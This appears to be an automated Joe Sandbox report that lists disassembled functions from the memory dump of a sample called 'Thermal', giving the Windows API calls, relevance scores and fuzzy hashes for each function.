Part of subcall function 00178D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00178D5F
Part of subcall function 00178D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00178D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 001792C1
_memcmp.LIBCMT ref: 001792E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0017931A
HeapFree.KERNEL32(00000000), ref: 00179321

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: e15c75a4dee33d989c753334eae4f8d3e62dea76ebd42255281cec62ec46d6c5
Instruction ID: b22c3677bcf4e700908c97f3deb6c3e3c98ed936f2ad85aee8ffa23bc061c05e
Opcode Fuzzy Hash: e15c75a4dee33d989c753334eae4f8d3e62dea76ebd42255281cec62ec46d6c5
Instruction Fuzzy Hash: 6621B071E40108EFDB10DFA4C945BEEB7B8FF44301F048059E848A7291D774AE48CB90

Function 001A634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 001A63BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 001A63D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 001A63E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 001A63F3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: a2591f5173a478c97fe640a4c30d4625afc1d3843c03c141d4fb3821bb6525c3
Instruction ID: 827580048d4ec3b6ad10277f6c3d109a612dc580c001b67e93f5bd6fbf7aa2be
Opcode Fuzzy Hash: a2591f5173a478c97fe640a4c30d4625afc1d3843c03c141d4fb3821bb6525c3
Instruction Fuzzy Hash: 22110335300428AFDB05AB24DC55FBA77A9FF56320F184218F81ACB2D1CB70AC01CB94

Function 0017E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0017E46F,?,?,?,0017F262,00000000,000000EF,00000119,?,?), ref: 0017F867
Part of subcall function 0017F858: lstrcpyW.KERNEL32(00000000,?,?,0017E46F,?,?,?,0017F262,00000000,000000EF,00000119,?,?,00000000), ref: 0017F88D
Part of subcall function 0017F858: lstrcmpiW.KERNEL32(00000000,?,0017E46F,?,?,?,0017F262,00000000,000000EF,00000119,?,?), ref: 0017F8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,0017F262,00000000,000000EF,00000119,?,?,00000000), ref: 0017E488
lstrcpyW.KERNEL32(00000000,?,?,0017F262,00000000,000000EF,00000119,?,?,00000000), ref: 0017E4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,0017F262,00000000,000000EF,00000119,?,?,00000000), ref: 0017E4E2

Strings

cdecl, xrefs: 0017E4D9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 935715045afa6ce9ffc41586edb2330223db7dacc4cd16d1a61453dba6150fe9
Instruction ID: cc4ab02a66d2d292be9c8902cdc080324a0f94bdb9fd0dbe539a4bc7a0738319
Opcode Fuzzy Hash: 935715045afa6ce9ffc41586edb2330223db7dacc4cd16d1a61453dba6150fe9
Instruction Fuzzy Hash: 1F118E3A200345AFDB25AF34D849D7A77F9FF49350B40816AF90ACB2A0EB71D991C791

Function 00155312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00155331

Part of subcall function 0014593C: __FF_MSGBANNER.LIBCMT ref: 00145953
Part of subcall function 0014593C: __NMSG_WRITE.LIBCMT ref: 0014595A
Part of subcall function 0014593C: RtlAllocateHeap.NTDLL(010D0000,00000000,00000001,?,00000004,?,?,00141003,?), ref: 0014597F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: a08b7e29caf8e3c87e348f86c219f7a04e31e2b97c255eb6bebaf11ad985be45
Instruction ID: ea165ff1bcd55b36ae5f11ba7b7b407663867275085f71a8ca1c4c57c0e8f0a9
Opcode Fuzzy Hash: a08b7e29caf8e3c87e348f86c219f7a04e31e2b97c255eb6bebaf11ad985be45
Instruction Fuzzy Hash: D0112B31806A15EFCB653FB0AC5465E37967F243E2B104925FC2C9E1B1DF7089849750

Function 00184365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00184385
_memset.LIBCMT ref: 001843A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 001843F8
CloseHandle.KERNEL32(00000000), ref: 00184401

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 5e1be35cbcd40fbcc5805ca95d1ad31fe67421fee1abd0309e44aa36b0786b3b
Instruction ID: 9ea39a60a5fe7e1c9808e2b07f4280af08b28cc630c3b553a6e98721e1a966ef
Opcode Fuzzy Hash: 5e1be35cbcd40fbcc5805ca95d1ad31fe67421fee1abd0309e44aa36b0786b3b
Instruction Fuzzy Hash: 1411A7759012287AD7309BA5AC4DFABBB7CEF45760F10469AF908E7190D7744F808BA4

Function 00196A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0013402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00187E51,?,?,00000000), ref: 00134041
Part of subcall function 0013402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00187E51,?,?,00000000,?,?), ref: 00134065

gethostbyname.WSOCK32(?,?,?), ref: 00196A84
WSAGetLastError.WSOCK32(00000000), ref: 00196A8F
_memmove.LIBCMT ref: 00196ABC
inet_ntoa.WSOCK32(?), ref: 00196AC7

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: e242be07a6bd1f3c50a1dca0151384f361acebb05e5cdc91255e9aa608ef10e5
Instruction ID: 5b7cd0e986261d23eaa307796f5a4ebc1e1d335bb8b80bb29647a24517ac9308
Opcode Fuzzy Hash: e242be07a6bd1f3c50a1dca0151384f361acebb05e5cdc91255e9aa608ef10e5
Instruction Fuzzy Hash: 37116375900108AFCF05EBA4DD46CEEB7B8EF28310B144165F506A72A1DF30AE50DBA1

Function 0012166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

DefDlgProcW.USER32(?,00000020,?), ref: 001216B4
GetClientRect.USER32(?,?), ref: 0015B93C
GetCursorPos.USER32(?), ref: 0015B946
ScreenToClient.USER32(?,?), ref: 0015B951

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: a51dd43d68a88b51c2b1b68e48dd230f47e3c7699b7d7b7d365d4be38738ed14
Instruction ID: ff2ae1dc9332c85693a6873028335a07ee169e821edf92adc649fb9b85d07319
Opcode Fuzzy Hash: a51dd43d68a88b51c2b1b68e48dd230f47e3c7699b7d7b7d365d4be38738ed14
Instruction Fuzzy Hash: 69114335A00129FBCB10EF98E889DFE77BAEB28300F000556E901E7540C370BAA1CBA1

Function 001796F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00179719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0017972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00179741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0017975C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f3e9f6a434630b31845e84b43d3102bb43402295e3c580182fb8f8878d76d032
Instruction ID: a496c7e43ec437f0417c41a46df8c752bb1197a131c8ee01165b228c56c6e837
Opcode Fuzzy Hash: f3e9f6a434630b31845e84b43d3102bb43402295e3c580182fb8f8878d76d032
Instruction Fuzzy Hash: 2A114879900218FFEB11DF95C985E9DBBB8FB48710F204091E904B7290D7716E10DB90

Function 00122111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0012214F
GetStockObject.GDI32(00000011), ref: 00122163
SendMessageW.USER32(00000000,00000030,00000000), ref: 0012216D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 5a36c025b9d90af1e2888c8954e1cdb905731249dd5399780d1cf6ecd6e1e891
Instruction ID: 612223f9c11a20f7fb68f2fa064e1406b31a5e472901ed823416a83746b18ef3
Opcode Fuzzy Hash: 5a36c025b9d90af1e2888c8954e1cdb905731249dd5399780d1cf6ecd6e1e891
Instruction Fuzzy Hash: B111AD72101259BFEF064F90AC84EEFBB69EF59394F050202FA0456010CB31DCB1DBA0

Function 00181941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,001804EC,?,0018153F,?,00008000), ref: 0018195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,001804EC,?,0018153F,?,00008000), ref: 00181983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,001804EC,?,0018153F,?,00008000), ref: 0018198D
Sleep.KERNEL32(?,?,?,?,?,?,?,001804EC,?,0018153F,?,00008000), ref: 001819C0

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 5ff0f9606ecf3e390030923b756c59a37ef805e2df1481777f3d2bd76544b6a6
Instruction ID: e30274fb788f5e1801d7c717dabb72c1c4cdf2023c3177b663a7d86944df053f
Opcode Fuzzy Hash: 5ff0f9606ecf3e390030923b756c59a37ef805e2df1481777f3d2bd76544b6a6
Instruction Fuzzy Hash: FA117C32C0052DEBCF04AFA9D958AEEBB78FF08741F014145E980B2240CB309691CB91

Function 001AE1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 001AE1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 001AE201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 001AE216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 001AE234

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: c074846fcf9aeb800162707dadaee9fb4827faf4880913a73ed18b778bac7db2
Instruction ID: fb69a3f29645751e3b83b87327ebe24e528b0a4e6132c52abcb5371492be1ba4
Opcode Fuzzy Hash: c074846fcf9aeb800162707dadaee9fb4827faf4880913a73ed18b778bac7db2
Instruction Fuzzy Hash: 75115BB92063049BE7308F51ED09F93BBFCEB05B00F108A5AE61AD6450D7B5E9489BA1

Function 001571E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0015720B

Part of subcall function 001578F2: __fltout2.LIBCMT ref: 0015791B

__cftog_l.LIBCMT ref: 00157231
__cftoe_l.LIBCMT ref: 00157263

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 5e2f0c381bbe8803963b08a30538d217c0a5ef3e03d11ce4c56b5727f4c38fd7
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: E6017B3204814AFBCF125E84EC028EE3F22BB29356F488515FE285C571D736C9B9AB91

Function 001AB937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 001AB956
ScreenToClient.USER32(?,?), ref: 001AB96E
ScreenToClient.USER32(?,?), ref: 001AB992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 001AB9AD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 2848510b0867bf8d5da887960c96ad205ab942a5450ff73128df5e83d8a77c8e
Instruction ID: cdcb43cbac38f69127ef4770dabf4ef7da7ce3ba9662cc261ca938d5e4b1f129
Opcode Fuzzy Hash: 2848510b0867bf8d5da887960c96ad205ab942a5450ff73128df5e83d8a77c8e
Instruction Fuzzy Hash: D11144B9D04249EFDB41CF98C984AEEBBF9FF48310F104156E914E3610D735AA658F50

Function 001ABCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001ABCB6
_memset.LIBCMT ref: 001ABCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,001E8F20,001E8F64), ref: 001ABCF4
CloseHandle.KERNEL32 ref: 001ABD06

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 5704b73d6a32400f620ddd1469761430eb2a98c557f942d19e0a36eabd982705
Instruction ID: cced8c618b43a0bd8ebc3a4d8bd9638f447597dee6bb0a37c1c9debcdd481e6d
Opcode Fuzzy Hash: 5704b73d6a32400f620ddd1469761430eb2a98c557f942d19e0a36eabd982705
Instruction Fuzzy Hash: D7F082B25403947FE75027A5AC49FBF3A5DEB19754F000521BA0CEA5A2DB724C5097B8

Function 00187195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 001871A1

Part of subcall function 00187C7F: _memset.LIBCMT ref: 00187CB4

_memmove.LIBCMT ref: 001871C4
_memset.LIBCMT ref: 001871D1
LeaveCriticalSection.KERNEL32(?), ref: 001871E1

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: ce97e05ddaa305d05a2045862cf88403f22c7b68e2698d62dc3951727dd75f7e
Instruction ID: 0e55ac36cc3a186634339439e446dd3bd09088f7d3dfcf88fc59e6f2b0679a97
Opcode Fuzzy Hash: ce97e05ddaa305d05a2045862cf88403f22c7b68e2698d62dc3951727dd75f7e
Instruction Fuzzy Hash: 56F05E3A200104ABCF016F55DC89A8ABB29EF59360F08C051FE085F22ACB32E951DBB4

Function 001AC3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 001216CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00121729
Part of subcall function 001216CF: SelectObject.GDI32(?,00000000), ref: 00121738
Part of subcall function 001216CF: BeginPath.GDI32(?), ref: 0012174F
Part of subcall function 001216CF: SelectObject.GDI32(?,00000000), ref: 00121778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 001AC3E8
LineTo.GDI32(00000000,?,?), ref: 001AC3F5
EndPath.GDI32(00000000), ref: 001AC405
StrokePath.GDI32(00000000), ref: 001AC413

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 49acb5fc81d6d2c2e55a78f23bb127b3992cc48af20119690966ca6bec48de79
Instruction ID: fca1400e3120abea5ee1daa91bb55350f2455e46988bf9c3cb854f43b7284161
Opcode Fuzzy Hash: 49acb5fc81d6d2c2e55a78f23bb127b3992cc48af20119690966ca6bec48de79
Instruction Fuzzy Hash: D0F0BE31105258BAEB136F94AC0DFCE3F59AF1A350F048100FA11254E183B455A0DBE9

Function 0017AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0017AA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 0017AA82
GetCurrentThreadId.KERNEL32 ref: 0017AA89
AttachThreadInput.USER32(00000000), ref: 0017AA90

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 0b10178ef5f2e34074200330e28c462690883387d86554433e0e4340db16fa97
Instruction ID: 148f98d9d1d204d688849adf2fe32468e28cdcd0a34edd8808b2a9f3a1d30645
Opcode Fuzzy Hash: 0b10178ef5f2e34074200330e28c462690883387d86554433e0e4340db16fa97
Instruction Fuzzy Hash: DAE03931541228BADB225FA2DD0CEEB3F2CEF597A1F408111F90D85450C771C590CBA1

Function 001225F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

